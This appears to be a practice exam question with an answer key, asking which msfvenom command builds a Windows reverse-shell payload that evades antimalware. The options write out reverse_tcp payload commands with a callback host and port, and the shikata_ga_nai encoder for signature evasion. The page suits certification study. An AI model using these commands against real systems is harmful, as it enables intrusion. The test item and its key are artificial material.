A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload from being blocked by antimalware that is running on the target…

Question

Options

• Amsfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload
• Bmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000
• Cmsfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp
• Dnet user add /administrator | hexdump > payload

• A
  73% (22)
• B
  10% (3)
• C
  3% (1)
• D
  13% (4)

Explanation

Explanation

Option A is correct because it uses msfvenom with an encoder (x86-64/shikata_ga_nai), which obfuscates the shellcode to evade antimalware detection - this is the critical feature the scenario requires. The encoder transforms the payload's signature so it is less likely to be recognized by signature-based antivirus or antimalware solutions.

Option B is incorrect because while it generates a valid Meterpreter reverse TCP payload, it includes no encoder, meaning the raw payload would likely be flagged and blocked by antimalware running on the target. Option C is also incorrect for the same reason - it specifies architecture and platform but omits an encoder, providing no evasion capability. Option D is a nonsensical distractor; net user add is a Windows user-management command and piping it to hexdump does not create a functional exploit payload.

Memory Tip: Think "Encode to Evade" - whenever a question mentions bypassing antivirus or antimalware, look for the option that includes --encoder or -e in the msfvenom command, as encoding is the primary built-in evasion technique in the Metasploit Framework.

No community discussion yet for this question.